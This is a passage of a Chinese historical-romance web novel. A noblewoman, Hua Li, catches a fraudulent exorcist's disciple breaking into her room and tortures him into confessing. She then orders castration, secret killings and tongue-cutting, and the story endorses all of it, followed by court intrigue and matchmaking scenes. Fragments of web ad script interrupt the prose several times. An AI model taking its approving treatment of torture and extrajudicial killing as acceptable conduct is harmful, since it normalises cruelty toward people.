“来之前问你们干不干,你们说干。寻常人家随便糊弄一下倒是还好,长公主府是个什么情况你心里没点数?” 他一只脚跺地,指着这片地方: “我们现在是在长公主府!这笔钱拿不安稳,咱们就别想在这一行混了!就那个华梨,要是拿捏不住她,你去想想她那天的态度,能叫咱们好看吗?” 大徒弟被他说的半句话反驳不出来,盯着木质地板,字从喉咙里吐出来: “反正今晚这件事我不去干,我劝老二你也别被色迷昏头,咱们随便找个侍女就完了,这稳妥。” 这办法行得通,但能捞到的钱不多。见说不通大徒弟,老道士气的薅了把胡子:“老二你讲,你的意思是什么?” 二徒弟不比大徒弟。他和老道士是一样的想法,听到老道士问他,登时笑的合不拢嘴: “咱们这件事若能干成功,那可以说是后半辈子都不用愁了。” 大徒弟见着他们不肯听自己的,气的掀开帘子往外走,显然不想再和他们有谈论。 真是色欲熏心。 大徒弟边走边在心中唾骂二徒弟。 迟早死在女人身上。 . 盈盈月色疏朗。 华梨房间,极轻的呼吸声融入无边夜色。 华梨闭着眼,纤长的睫毛颤动。 她的房中不允许熏香,因为华梨嗅觉敏锐,普通香料只会让她头晕脑胀。 一个人闭着眼睛躺在床上的时候,时间流动是非常缓慢的。华梨不清楚过了多久,就在她以为老道士一行人今夜不会有行动时,她听到了石击木窗的声音。 那是暗卫的信号。 表明有人来了。 那人显然是老手,若非一阵夜风中裹挟奇怪的微弱的恶臭味,恐怕华梨很难发现有人前来。 这股恶臭味和老道士、带血符咒上面的味道一致,华梨猜想也许是这群人贴身携带这些东西,导致身上难免会沾染上臭味。 青烟顺着窗边慢慢飘进来,外面等候的暗卫紧盯二徒弟的动作。 华梨翻了个身。 二徒弟警觉,夜色中的眼睛死死盯着房间里。 手中的迷烟用尽,二徒弟等了等,确定华梨已然昏睡过去,他翻身跃入房间。 他的脚步声极轻将近于无,就在二徒弟要碰到华梨时,一股凌厉的气流从身后涌至前方。 有人从背后紧紧勒住他的脖子! 骤然的窒息感让他瞳孔紧缩,身后男人宛若真的鬼祟,二徒弟感觉不到对方的呼吸声也没办法挣脱开束缚。 他感觉自己离死亡很近。 这个人只要在用力一点,自己的脑袋会被对方强行拧掉。 事情败露了?! 二徒弟脑中出现无数想法,他现在后悔不已:也许他该听老大的话,不该将主意打到华梨头上! 可为时已晚。 就在二徒弟以为自己要去见阎王时,身后男人松开对他的钳制。二徒弟有点功夫在身上,但此刻手脚酸软使不上力气,狼狈地摔在地上,发出的响动在寂静的夜晚格外突出。 “去追。” 恍惚间二徒弟听到有女人在说话。 追什么? 二徒弟缓过眼前重重黑影,从混沌中挣扎地抬起头。 完了。 他的心里只有这两个字。 那个叫如春的侍女正在华梨身边,想将华梨唤醒,而他身边多出好几个黑衣人。 煞气是之前守夜的侍从远远比不上的。 这群人真的杀过人。 他完了。 . 华梨有察觉到迷烟的存在,虽然不可避免的吸入一些,但是不多,不过片刻悠悠转醒。 她看了看周遭情况,没有感到奇怪: “抓住了啊。” 那时华梨翻身便是在提示外面等候的暗卫伺机行动,此刻,华梨命令道:“把灯点着。” 华梨的反应很平淡,二徒弟被暗卫用绳子捆着扔在地上,他哆嗦着没开口,心中在想怎么把这件事糊弄过去。 哪怕他清楚自己也许必死无疑,但是他不愿相信。 桌上的莲花纹瓷灯被点燃,如春又拿着火折子将灯架中的火点燃。 通明的火光照亮整间屋子,映出二徒弟的丑态。 像一只巨大的肉虫。 华梨打了个哈欠,没想到事情会这么顺利。 显而易见,这师徒三人貌似并不聪明。 她走到二徒弟身边,蹲下身:“三更半夜,你到我房间来,是被鬼上身了吗?” 她脸上原本没有多余的表情,不知想到什么,蓦然笑出声。 二徒弟嘴里重复哆嗦地念叨“我”,说不出完整的话,念的华梨有些烦。 “不好好回答把我惹恼的话,我是会发火的。连续两夜睡不好,我发起火来应该挺吓人的。” 如春点完灯后站在华梨身后,静静等待华梨的吩咐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 可二徒弟怎么敢说? 说了等他的是死路一条,不说也许还能负隅顽抗。 华梨看透二徒弟心中所想,轻笑: “打定主意想装糊涂吗?那让我猜猜,大半夜潜入女子闺房,除了想行不轨之事还能做什么呢,哦对,我房内的东西都是价值千金……也许是想偷窃,你说是吧。” “如春你觉得呢?” 如春:“奴婢不知,但是这样的人罪该万死。” 二徒弟被“死”这个字眼激到,瞪大眼睛:“我有梦游之症!” 他似乎是吓到了,艰难喘息道:“这是梦游之症,我没反应过来,所以一直答不上话……” 华梨唔了声: “你当我的暗卫都是瞎子吗?” “这就是梦游症,也许是白日被郡主的容貌所惊,所以晚上寻到郡主房中,冒犯郡主本就不是我的想法,望小姐恕罪!” 他只要咬死是梦游症,华梨拿不出确切证据也不能将他怎么办。 更何况当今的皇帝禁止使用私刑,如今律法严苛,就算是华梨这种人,也不敢随意对平民实以私刑。 最坏的结果不过是毒打一顿。 他,绝对不能吐露事件真相。 “啧。” 对方这样不上套,华梨兴致消散。 她转身吩咐暗卫将二徒弟的双腿分开,在枕头下摸出匕首,打开灯罩将刀刃架在火上烤。 烛光忽明忽暗,华梨一言不语,二徒弟察觉到华梨想做什么,吓出一身冷汗: “你想做什么?陛、陛下严禁动用私刑,哪怕是你,这样做也会被抓起来!” 见刀刃烤的差不多,华梨拿着被火光灼的滚烫的匕首走到二徒弟身边。 “我这种身份地位,被发现也不过抓起来而已,你觉得我会怕吗。” 她靠近二徒弟,冰冷冷的脸上是不为动容的阴凉。 只是看他半刻,华梨面上流露出淡淡的为难之色,倒不是别的,她不是很想看到那根丑东西。 这点为难转瞬即逝,华梨想到两全之策:“这样,我的本意并非羞辱你,下衣不必脱了。我直接将匕首捅下去,是福是祸,你自己受着。” 看着华梨的脸上,二徒弟被吓到面目狰狞,惊恐的泪水忍不住往下流,糊的满脸都是。他看向华梨的眼神宛若在看恶鬼,颤抖着叫喊:“我,我说……” “我说,求求你放过我,我,我说…… 他那迟钝的直觉终于派上用场:如果再不说,华梨真的会毫不犹豫地将匕首刺下去。 那会比死还难受。 华梨用另一只空着的手将碎发抚到耳后。 “行,你讲。” 她把匕首扔到远处的地面上,锋利的匕首反射出苍凉的月光打在二徒弟的劫后余生的脸上,清脆的刀刃争鸣声和杂乱复杂的呼吸声交织,房间里安静的可怕。 二徒弟丝毫不敢放松,生怕面前恶鬼似的人下一刻反悔。 “是孙德,孙德让我这么做的。找我们这一行的,往往是心里有鬼、或者相信有鬼的那些人。他说你是大户人家的小姐,只要趁着夜晚吓上一吓,就会更加相信鬼祟的存在。这之后只要毁了你的清白,再推到鬼祟作怪身上,我们就能捞到更多银钱。” 9. 第 9 章 道理其实很简单,加深恐惧,制造恐慌,届时不需要他们自己提出,大把大把的钱就会往身上砸。 长公主讲过类似的从商之道。 华梨对这方面一点即通。 那些人家在之后当真全都没有察觉到有异常吗? 华梨不信。 无非是为了脸面,亦或者委曲求全,又或者是其他的,叫人没办法开口。 这才让那师徒三人招摇撞骗多年,次次得手。 华梨冷声问:“倘若我一直表现出对你们的警惕,你们又当如何收场?” “最差的结果不过做个法事,他们舍不得长公主府,计划是……”第一句话开了口,其他话讲起来也顺畅不少,“挑个老实憨厚的侍女,说鬼祟在她身上,大户人家对侍女的态度算不上好,入了奴籍更算不上是人。” 二徒弟意识到场面更加冷凝,他咽了咽口水。后知后觉在场的人里除了他和华梨,似乎都是奴籍出身。 华梨鞋尖踢他肩膀: “接着说。” “……若主家之后将那侍女驱逐出府,他们会在暗地里会偷偷将侍女绑架,卖到、卖到青楼。” 低劣。 华梨面色如霜,如春伺候华梨多年,心知华梨此时动怒,气焰难消。 但华梨没有当面发火。 这种人不值得她失态。 “我在书院念书时,成绩尚可。” 她后退半步,清冷的声音钻进二徒弟脑袋里,二徒弟试图用混乱的大脑理解华梨此刻谈论这件事的意义。 “你知道我在书院里要学什么吗?” “六艺八雅,礼乐射御书数,琴棋书画诗酒花茶。” “我不认识赵家小姐,但是我听同窗提及过她,她的课业总总是做的最好的。平心而论,我不喜欢她这样优秀的人,毕竟我是个纨绔。” 华梨眼神从二徒弟丑陋的面容移开,看了眼如春。 如春会意。 替华梨捡起原本丢在地上的匕首。 “但是纨绔有纨绔的好,我的射箭课业一塌糊涂。” 她接过匕首拿在手中。 “可是投壶,却是百发百中。” 已经被月光染上凉霜的匕首破开空气。 布料刺破的声音被匕首刺入肉|体的声音淹埋,而后被更痛苦扭曲的尖叫接替。 躺在地上的男人因为疼痛疯狂抽搐,华梨吩咐暗卫按住男人。对方脸上青经突起,鼓睛暴眼。 他疼的破口大骂,华梨尚且没有动作,身后如春上前一巴掌将人扇掉两颗牙。 “郡主面前岂容你放肆。” 华梨的声音从背后传来: “三个都阉了,两个小的找个地方处理掉,别被人发现。那个老的留着,割掉舌头送去官府。” “理由是,夜半潜入长阳郡主卧室,欲行不轨之事。” 她的语气太冷淡,冷淡到二徒弟以为对方在吩咐明早吃什么。 剧痛胜过理智,即将迎来死亡的结局让他忽略脸上的剧痛,口水混杂血水从嘴角流出来,他含糊不清的吼叫: “你不能这么做!你杀人手上沾了血,你不能杀我!你、我变成鬼一定不会放过你!!!你会遭天谴的!!!!” 不痛不痒、毫无逻辑、人死前挣扎的恶毒诅咒。 华梨只是注视着他的惨状,那双盛满傲慢的眼睛不带任何情感的盯着他。 他听到她说: “那我就是天谴。” 她扔下一句把房间清理干净,便再不理会身后人的谩骂,去到隔间休息。 如春看了二徒弟一眼,那眼神比华梨的眼神更狠厉,带着危险的杀意,吓得二徒弟一时间停止谩骂。 “你该庆幸没落到我手上。” 她捏住二徒弟的下巴迫使二徒弟张大嘴巴,身下的匕首被如春拔出,不顾对方挣扎或求饶,带着星点血迹的刀刃无情搅入二徒弟口腔。 “别让这些东西吵到郡主睡觉。” “是。” 等到如春走远,暗卫憋了半天的话终于有地方说,他压低声音: “这公主府里的姑娘怎么都这么凶残。” 另一个暗卫摇头:“长公主身边的人,哪里能一般,早些处理完早些休息吧。” . “郡主。” 长公主府房间多,华梨随便找了间歇息,刚点上灯,就听到如春在唤她。 “这件事传出去恐怕又要惹的一身是非,长公主那边……” “母亲那边要是问起来,如实告诉。你这边且早些睡吧,我这边没有伺候的必要,天快亮了。” 如春生了长小家碧玉的脸,颇有亲切之感。但知晓如春先前身份的人都晓得,如春身为曾经长公主身边的死士,平日笑吟吟的见不得是真的脾气好,但她冷下脸,铁定是恼火。 自被调到华梨身边,如春鲜少有冷脸的时候。 明明刚才在二徒弟面前是一副修罗模样,等见到华梨时,脸色又柔和下来。 如春见华梨心中有自己的主意,也不再多说什么,只将不久前的怪事讲给华梨: “郡主您吸入迷烟昏睡之后,有个黑衣人突然出现,他身份不明却并没有恶意,将歹徒钳制后就很快离去,奴婢吩咐暗卫前去追查,但在长影街附近跟丢了。” “接着查。另外吩咐管事把府上的守卫加强,长公主府不是什么人都能随意进出的地方。” 如春退下后,华梨躺在床上看着床头挂着的流苏,对今夜意外出现的黑衣人的身份有了猜测。 大概纸条也是对方送来的。 可是为什么? 难不成感激自己两次都没有拆穿他的身份? 想到“沈贰”冷漠的眼神,华梨觉得对方不太像这种人。 不知对方这么做的理由,华梨感到心烦意乱,她觉得“沈贰”实在该死。 . 日上三竿,华梨洗漱过后听着如春的汇报。 官府不知华梨杀了人,但长公主府吩咐事情不要细究,他们便佯装不知情的模样,对于华梨私下动刑之事不再细究。 老道士被关在牢里,不用华梨吩咐,以他的状态也活不了几天。 官府判罪定刑是要公开的,老道士因为什么获罪很快穿遍京城。 有人说这老东西不怕死,也有人说是不是华梨冤枉了他,还有人说最毒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妇人心,华梨下手太重,各种风言风语中始终不见曾经的受害者站出来。 华梨做事前会预先猜想结果,这种情况算不得非常糟糕,故而她并不在意。 用过午膳,皇宫传来消息,皇帝召见华梨。 华梨心知又要挨训,她换了身衣服没什么精神地前去皇宫。 领路的内侍带着华梨前去御书房,路上碰到以五皇子为首的一众人首,因为华梨和九皇子之间的关系突然缓和,五皇子这边略显尴尬,他看着华梨欲言又止,神色中带有几分委屈的意思。 华梨在宫中有特权,见人不必行礼。 故而华梨一眼也不愿看见这群人,直直掠过。 华梨身边的内侍汗流浃背,对着五皇子问好后急匆匆跟上华梨。 内侍其实对华梨蛮佩服的,世家之中对众皇子算不上十分尊重,但也能称得上一句客气。 华梨却不假辞色,丝毫不担心对方未来上位后会对她如何。 他在皇帝跟前伺候着,晓得当今陛下是真心心疼华梨,甚至皇帝曾言,他最放心不下的孩子就是华梨。 对自己子女没几句关心的话,华梨一有风吹草动就将人召入宫。 只能说对于华梨,当今陛下可谓尽心尽责。 想到曾经关于华梨的谣言,内侍摇摇头,不敢多想。 总之这些大人物身上的弯弯绕绕,他们这群小人物就不要深究了。 御书房内,原本室内燃有安神的熏香,但考虑到华梨要来,皇帝早早将熏香撤下,吩咐侍女端上瓜果。 华梨到御书房的时候皇帝正在批奏章,他抬眼看着华梨,对身边伺候的内侍道:“赐座。” 皇帝有话对华梨讲,知晓华梨不喜有外人在,一如既往屏退其他人。 他将毛笔搁在鎏金笔架上,目光温和:“昨日的事我已听暗卫那边交代完毕。” 果然是找她说这件事。 她就猜到这群人会把所有事告诉皇帝。 皇帝见到华梨的表情,忍不住轻笑出声:“你倒是莫同他们恼,我此番也并非要指责你。” 他的目光充满慈爱,望向华梨的目光永远带着亲人间的温和。 “幸而那三人只是普通骗子。要是他们身份不简单,手底下的暗卫没能将你护好,你让我怎么同映月交代。” 华梨偏过头,不服气:“我又不是蠢,自然有分寸。” 面前摆放着精致精致的果蔬糕点,华梨拿起其中一块桂花糕掰碎却不吃,看着糕点的碎末掉在圆盘上。 “这种人能走到现在,全凭运气好罢了,若是早早遇到我,我看他们怎么作妖。” 皇帝失笑:“这倒也是,不过……这种血腥的事,还是交给手底下的人处理,你同这种人动手只会脏了自己的手。上位者杀人,不靠武力,靠权势。” 见皇帝大有同自己讲大道理的架势,华梨赶忙打岔:“我又不是上位者,你同我讲这些有何用,不听,我自然有自己的处事原则。” 华梨不喜欢听这些。 皇帝不为难她,“那好,我不讲这些。讲讲映月前些日子给我寄来的信,她说你也到招婿的年纪了,让我给你物色几个好郎君。” 10. 第 10 章 华梨的脸色变得有些奇怪。 长公主先前给她寄的信里也提到这件事,只是华梨无意婚嫁,故而直接将其无视。 没想到长公主直接将这件事拜托到皇帝面前。 她张了张口:“这件事不劳烦舅舅费心,我已经让如春下去安排了。” 欺君是死罪,但华梨不会被治罪。 皇帝看穿华梨内心的想法,揭穿道:“等你安排下去,只怕等映月回来都不见得个结果。反正你以从书院结课之后一直无所事事,如今闲来无事去看看消磨时间,不打紧的,不喜欢就算了。” 皇帝循循善诱:“又不是非要个结果。” 一般情况下皇帝不会强迫华梨做不喜欢的事,除非长公主有要求。 华梨本还想推辞,但是想到自己对“沈贰”一见钟情这件事,她觉得自己似乎应该和外男接触。 说不定见多了男的,她就恢复正常了。 华梨一直觉得自己对“沈贰”动心是一件非常不正常的事。 于是华梨将拒绝的话咽回去,点点头:“好。” . 华梨从宫中返回长公主府时,日近薄暮。 天色是金黄的色调,好似一匹上好的绸缎,长长的宫道尽头停着马车。 华梨踩着青石板路,注意到马车边站着位小姑娘,看上去十四五岁的模样,脸圆乎乎的。 和外表不同,小姑娘穿着老气横秋。 像是故意扮老。 她见到华梨,眼中闪过一丝亮光。 华梨在脑中回想自己认识的人,并没有人能与面前小姑娘对上。 “见过长阳郡主。” 小姑娘凑到华梨跟前行礼,华梨点点头,并未打算与其有过多交流,她掠过圆脸小姑娘,提着裙摆打算登上马车返回长公主府。 “等等……” 小姑娘一急,扯住华梨衣袖。 华梨转头并未多说什么,可眼神中已然流露出不耐烦,吓得小姑娘怔怔松开手。 她怕华梨转头走人,立马急匆匆道:“我是城东赵家的小女儿,赵殊是我的姐姐。” 华梨转头的动作一顿,她看向赵殊的小妹,眨眨眼:“哦。” 很冷淡。 赵羡并不气馁,起码自己说出赵殊的名字后,这位盛气凌人的大小姐没有直接走人。 “我,我听说了你的事。” 赵羡的声音又小又细,若非华梨离她较近,恐怕都听不到她的声音。 “阿姐是个很好的人,世上没有能比她更好的姐姐……但是后来家里人找来了所谓驱鬼道士,一切都变了。爹娘不再让我和阿姐见面,还把阿姐关起来。阿姐被休回娘家后,他们每天都在打骂阿姐。” 赵羡:“他们说赵家景况越来越差就是因为姐姐,后来姐姐过世,他们都不让姐姐进入祖祠。” 华梨:“你想同我讲什么?” 赵羡睁着圆圆的眼睛,眉目间却充满不属于这个年龄的哀伤:“我想知道姐姐真正的死因。” “你为什么觉得我会知道?” 赵羡抿唇,看了眼华梨又飞快移开眼睛:“其实我也不确定,但若是小姐愿意告诉我,就会告诉我。如果小姐不知道,恐怕会让侍卫把我赶走吧。” 是个很聪明的小姑娘。 华梨在心中想。 华梨转了转腕间的嵌珍珠宝石金手镯,没有直说:“你找到我是因为我将昔日行骗的道士抓入牢中,可我并非善人,你姐姐如何,同我有何干系?” 赵羡有些急:“若郡主愿意告诉我真相,我虽身无长物,但愿为郡主驱使!” 小姑娘圆润的眼睛紧紧看着华梨,希望华梨能感受到自己的诚意。 落日的余晖落在赵羡身上。 她说她想要一个真相。 哪怕凶手已然绳之以法,哪怕受害者长眠于地。 华梨伸手为赵羡整理她头上的小金花钿,从身上掏出手帕卫赵羡擦干脸上的汗珠:“可你想要的真相没办法帮你的姐姐洗清冤屈,这样,你也想知道吗?” 在老道士被拔掉舌头之前,他被迫交代了自己的所有罪行。 三年,共十一起。 这些真相是受害者所不能承受的重量。 华梨自认没有权利处理这些真相,她更不想自认为地做出好事,最后惹人嫌。 所以她仅仅处理了自己的事。 她不是大理寺或者刑部的官员,更不是什么喜欢声张正义的好人。 这些真相公诸于众后有多少人会在意? 普天之下,病急乱投医的人何止一星半点。 心怀鬼胎的依旧相信世间有鬼,认为女子贞洁高于生命的,依旧不会心中想法。 或许会有人唏嘘,或许会有人以此为戒,但还有人会肆意批判。 不是所有人会一直对外敌视罪犯。 总会有人注视受害者身上的裂缝。 华梨没办法从如此混乱的关系中找出两全的解决办法,若她真是天谴倒还好,可她不是。 人心总会有偏差,她甚至不敢说自己的处理方法有多高超。 她静静看着赵羡,眼中带着审视,像是一尊古老寂静的神像。 那似乎才是真正的华梨。 亦或者这都是华梨。 赵羡总算知道为何她初次见到华梨穿着华服站在宫墙外时,心中感到熟悉。 华梨身上,似乎有和她一样的孤寂。 赵羡似乎突然间懂了华梨话中深意。 高门大户中的孩子都早慧,赵羡对阿姐的死早有猜测,可她不忍相信,那般温柔聪慧的姐姐会死在如此荒唐的骗局之下。 死在家族的缄口中。 死在众人的目光里。 她逃出家族来到皇宫成为公主伴读,待到未来,她还会步入朝堂和同僚一起为大晏出谋划策。 可是。 她的阿姐呢? 赵羡鼻头一酸,眼泪砸在华梨的手背。 滚烫而湿润。 赵羡睁着眼睛仰望华梨,也可能是在透过华梨看某个无法追忆的亲人。 “谢谢郡主,我明白了。” 沙哑的声音中带着哭腔。 华梨摇头,替她擦干眼泪:“你可以走很远的路,也许那时候,再知道真相也不迟。现在,就当还在为追寻真相而努力吧。” “母亲曾和我说,死去的人会化为星辰,占据天际的一小块。每当你注视群星的时候,群星闪耀,也许就是她在回应你罢。” 赵羡埋头,肩膀颤抖,泪湿衣襟。 华梨看向远处宫门站 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着的十一公主,对方似乎很提防自己,正恶狠狠地瞪着她。见到赵羡哭的狠极了,她顾不上忌惮华梨,提着裙子跑了过来。 华梨看着赵羡的腰牌:”你是十一公主的伴读吧,她来找你了,快回去吧。” 她将手帕塞给赵羡,赵羡哽咽着同她说谢谢。 华梨也不知听没听清,弯腰钻进马车里。 “你凭什么欺负赵羡!” “殿下……” “什么,她真没欺负你?……” 扬起的风吹起帘布,视线的最后,华梨看到赵羡抱着十一公主。 她收回目光拿起如春沏好的茶。 马车平稳前进,华梨在轻微的摇晃中睡着。 再次醒来时她看见如春关切的脸:“郡主今天可是累到了。” 华梨眨眼:“有点,但不多。让小厨房备些爽口的菜品,不知道是不是食欲不振,最近都吃不下什么东西。” “也许也和最近郡主遇到的事有关。”她柔柔叹了口气,“郡主最近太过忙碌。” “也是,但好在已经处理完毕。” 华梨跳下马车,发髻上流苏微晃,她抚平衣服上的褶皱,忽的想到什么,她带着笑回眸望向如春: “那个老不死的道士不要让他轻易死了,活着才有盼头,不是么。” 华梨这般模样着实少见,但如春看出华梨不开心。 甚至可以说是愤怒。 她垂下眼,当作没有发觉的模样:“是。” 华梨笑笑没说话,用过晚膳后早早歇下。 接下来的好几天长公主府中的气氛都异常怪异,明明华梨比先前更好说话,可是侍从们敏锐地从中嗅到不正常的气息,比之前更为小心谨慎,生怕下一刻华梨就要爆发。 第六日。 宫中传来消息,要举办赏花宴。 皇帝虽说要给华梨寻到如意郎君,可他政务繁忙,最后只得将事情交给皇后。 皇后处理宫中事务多年,闻言便想出这般主意。 只为华梨一人择婿倒是招摇,不若将适婚年龄的小姐公子聚集起来,办个名义上的赏花宴。 为防止华梨不懂其中深意,皇帝差遣内侍送来一套极为华美的衣裳,纵使华梨想推辞也找不到理由。 虽是如此,华梨没有穿皇帝赏赐下来的衣裳。毕竟皇帝也没有说定要她穿哪套衣服。 她的确喜欢华梨的首饰,这不代表她想在别人面前穿的像个花孔雀。 去到宴会,似乎大家心知肚明赏花宴的真正目的。 华梨坐在凉亭里撑着脸看湖中的荷叶。 “长阳郡主,不知我可否借个位置,同郡主一同观赏湖中荷叶?” 华梨看他一眼,按照华梨原本的脾气,她该说不可以的。 但今日…… 华梨看了看来人,露出笑意:“当然可以。” 旁边有留意华梨这边动静的人都很惊讶,在意外华梨什么时候这么好脾气。 来人也很是惊讶,他见华梨脸上并无抵触之色,坐了下来。 男人坐下来之后开始绞尽脑汁想话题,起初他的话不多,害怕华梨不耐烦,但观察下来,不知华梨今日是不是心情极好,竟然一直没有露出不耐之色。 于是男人不禁有些得意忘形。 11. 第 11 章 从天文历法谈到山野志怪,华梨原本没怎么认真听他说话,后来都忍不住被他讲的内容吸引。 最后男人道:“今日同郡主相谈甚欢,月初的灯会,不知郡主能否给我这个机会。” 华梨没怎么多想,点点头。 她对面前的男子没有什么想法,也没有探究的心思。 和面对沈贰时的感觉完全不同。 华梨觉得,就算面前的男人脱光站在她面前,她可能都不会有什么激烈反应。 顶多感到厌恶,觉得脏了自己的眼睛。 面前男子不是这般想,灯会是男女增进感情的好时机,他打的便是这个主意。 若能拿下华梨…… 只是不等他还多说什么,却见五皇子朝这边匆匆赶来。 男子眸光微闪。 外界对华梨和五皇子之间的传闻有多种,其中占主导的便是,五皇子为人包容,将华梨这个表妹当作亲妹妹疼爱,只可惜华梨不领情。 男子如此纠缠一个女子,哪怕是亲兄妹都不妥,更何况是表兄妹。 但外界关于这二人的流言蜚语少的很。 只怕有人暗中操纵流言。 男子不比五皇子,他向华梨告别,等到五皇子抵达凉亭时,凉亭中只剩下华梨。 华梨看他一眼,转过头。 五皇子浑然不在意,他坐到华梨身边,将手中精致的木匣子推到华梨面前。 他知晓华梨不待间自己,所以在华梨开口前打开木匣。 里面是一对耳坠。 华梨目光从耳坠移到五皇子脸上,她眼型偏柔和,若不装腔作势,很容易叫人以为是个软弱可欺的姑娘。 葱白的指尖挑了挑白兔样式的耳坠。 华梨:“什么意思?” 五皇子歉然一笑:“上次夜坊中我送予你的那对耳坠不是丢失一个,后来我没能找到,那耳坠怎么说也是我送予你的生辰礼,后来我思来想去,总觉得要补上。” 华梨秀眉上挑。 华钧没能找到另一半耳坠,可她府上的确有人原物归还。 那会是谁送回来的? 那时在场的人除了她,就只有“沈贰”。 可若真的是“沈贰”,对方又为何如此行事。 初见日将她遗失的耳坠送回,再见时夜半潜入府邸暗送纸条。 目的是什么? 莫非真的对她一见钟情? 不对。 华梨转念一想,若这人对自己一见钟情,为何不答应赘婿一事。 所以到底是不是“沈贰‘在背后偷偷做这些事,做这些事的目的又是什么? 她有些跑神,没太注意华钧在讲什么。 华钧轻咳一声:“后来我被琐事缠身,一直未能得空去看你。” “哦。” 华梨回神,不在意华钧说的话。她抬眼看了看天色,估摸着时间将近,不再想同他继续纠缠。 “我还有事,那倘若没什么要紧的话,就不要讲了。” 她没有收下耳坠的打算。 伸手拿起桌面上放置的银丝绣花团扇,华梨打算走人。 华钧有些急。 他自年幼起便为争夺太子之位而努力,心知华梨深受帝宠,他为争夺长公主背后势力支持,也为让皇帝多看他几眼,在华梨身后伏低做小忍辱负重。 华梨脾气太差了些。 后来京中渐起对华梨不利的谣言,他本想借势而上一表态度叫华梨依赖上他,但华梨对他半点不领情。 但也好在其他几位皇子亦未讨得华梨欢心。 最近这个诡异的平衡被人打破,华梨和九皇子突然有了往来,还来参加所谓赏花宴。 华钧这才感到慌张。 “阿梨……” 周遭人群窃窃私语,华钧不是第一次被人落下面子,却是头一次感到这么慌乱。 就好像他小时候养的一只猫,会咬人,还不听话,但好歹是他的猫。 可后来那只白猫被其他皇子索要过去,往日惯会咬人的白猫对其他人却是一副乖巧模样。 着实令华钧不快。 他拉住华梨往园林深处走去,华梨手腕纤细,被华钧抓的疼极。 “你抽什么风,华钧!!” 华梨对危险的感知比旁人敏锐,她意识到华钧此刻状态不对。 愈往深处,冷冷的泥土腥味愈重。 她用力挣开华钧的钳制。 头上金灿灿的步摇碰撞缠在一起,又很快散开,尾端镶嵌珍珠的流苏在半空中摇摇晃晃。 华梨气急,脸上染上如霞色的绯红,眸光却狠厉又尖锐,宛若刺刀。 “你有病吗?” 华梨的声音难得拔高,她将手中的团扇扔到华钧身上,扇柄砸到华钧的脸。 痛感唤醒华钧的理智,华钧如梦初醒般将那些想说出口的话被他硬生生吞回肚子里,他不能问,不能说。 看着华梨气愤的脸,华钧内心苦涩。 他曾想潜意识引诱华梨对自己暗生情愫,谁料华梨尚未动心。他却已经将自己说服,爱上华梨。 夜坊一别,华钧觉得觊觎华梨的眼睛太多了。 可谁能像他这般对华梨鞍前马后?那些人只会在意华梨背后的权势,只有他,会真心对华梨好。 这样想着。 华钧扯出一个勉强的笑容:“抱歉阿梨,是我冲动了。” 他抬手想为华梨整理发髻,被华梨侧身躲过:“有病就去看医师。” 冷冷扔下这句话后的华梨转身离开,她对华钧没有半点关心,亦没有询问华钧为何将她拉到园林里。 她看得出华钧不对劲。 但华梨认为华钧如何,同她无甚关系。 回到长公主府后华梨收到九皇子华百川的来信,言辞中透露出疲惫,其中痛斥华钧针对他的行为。 华百川话密,每次寄来的信有好几大页,这次也不例外。 华梨忍着不耐看到最后才看到有用消息。 长影街中有一个十分知名的杀手,代号沈贰。 华梨盯着那两个字寻思对方果然是编的假名,可为什么正巧给她这个假名? 明知她对他感兴趣,还向她透露自己做杀手时的代号。 生怕华梨不能顺藤摸瓜找到他似的。 真是……恶劣啊。 华梨摩挲着信纸,心中如此想到。 回忆沈贰做的种种,华梨觉得对方的手段倒是像极了话本中讲的欲擒故纵,偏生华梨吃准了这一套,想要查下去。 她继续看华百川寄来的信。 信中提到沈贰此人武艺高强,非常人所能敌,并且他常在长影街活跃,影阁大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 半悬赏都被他接去,其他杀手似乎都停讨厌沈贰。 华梨思索:他当是缺钱的紧,否则没必要接那么多悬赏。 将信看完,华梨终于提笔回复华百川——以往对华百川寄来的信华梨都不会理会,但这次她提笔回信,内容简洁: “做的不错,继续留意。” 态度可谓冷漠。 后来华百川收到拆开信看到里面内容时,差点想撂挑子不干。 但此刻华梨不知道,她也不觉得自己言语有问题。 “郡主,夜深了。” 华梨恍然抬头看向窗外,才知天色暗淡。 她伸手接过如春端来的绿豆汤,用汤匙搅拌两圈,没喝。 桌案上散落着信纸,明角灯被点亮照亮大片空间。 窗外的树叶被风吹出哗哗声响,几片梨花顺着轨迹飘到华梨身上。 如春看到桌案上华百川寄来的信,移开目光静静看着华梨。 她知道华梨最近一直在找一个人。 一个无名鼠辈。 如春半垂眼帘,手上端着的盘子里还称放着华梨平日爱吃的果子。 华梨虽然信任她,但也许是习惯所致,华梨有什么心事惯会憋在心里,不同长公主说道也不会与她讲。 只是。 华梨从小被养在长公主身边,九五至尊是她的亲舅舅,天下的什么样的男子华梨没见过。 但华梨偏偏被一个不知名姓的男人吸引。 这种情况实在费解又让人咬牙切齿。 . 灯会如期而至。 华梨压根没将那日的事放在心上,那家公子聪明,提前给长公主府送来信,这才叫华梨记起自己答应了别人这么一出。 她有些不想去。 毕竟当时答应这桩请求,她是想看看自己同其他陌生男子相处时,是否会像看到沈贰时那样。 可现在华梨又突然没了探究的心思。 但想到长公主为数不多对她的教导,华梨在华灯初上时,还是换了套裙衫,提着如春备好的灯笼出府了。 长街上挂满通明的花灯,往日在夜晚略显空荡的市集在今夜热闹非凡,熙熙攘攘的人群,货郎的吆喝声不绝于耳,还有杂艺表演随处可见。 车马来往间,有小孩匆匆跑过,华梨被这小孩撞到,跄踉间她被人扶稳。 “多谢。” 她忍了忍,没当众发火。 看了眼今夜相会的公子,说实话华梨连他的名字都没能记住,还是看到信帖才想起此人叫卫章。 卫章轻笑:“小姐不必多礼。” 出门在外,以防止有居心叵测之人盯上华梨,卫章并未称呼华梨为“郡主”。 五月初的灯会是专门为年轻男女准备的灯会,因此华梨随处可见有亲密姿态的夫妇,再若不是互相有好感的姑娘和公子。 像她这样冷着个脸的倒是真没多少。 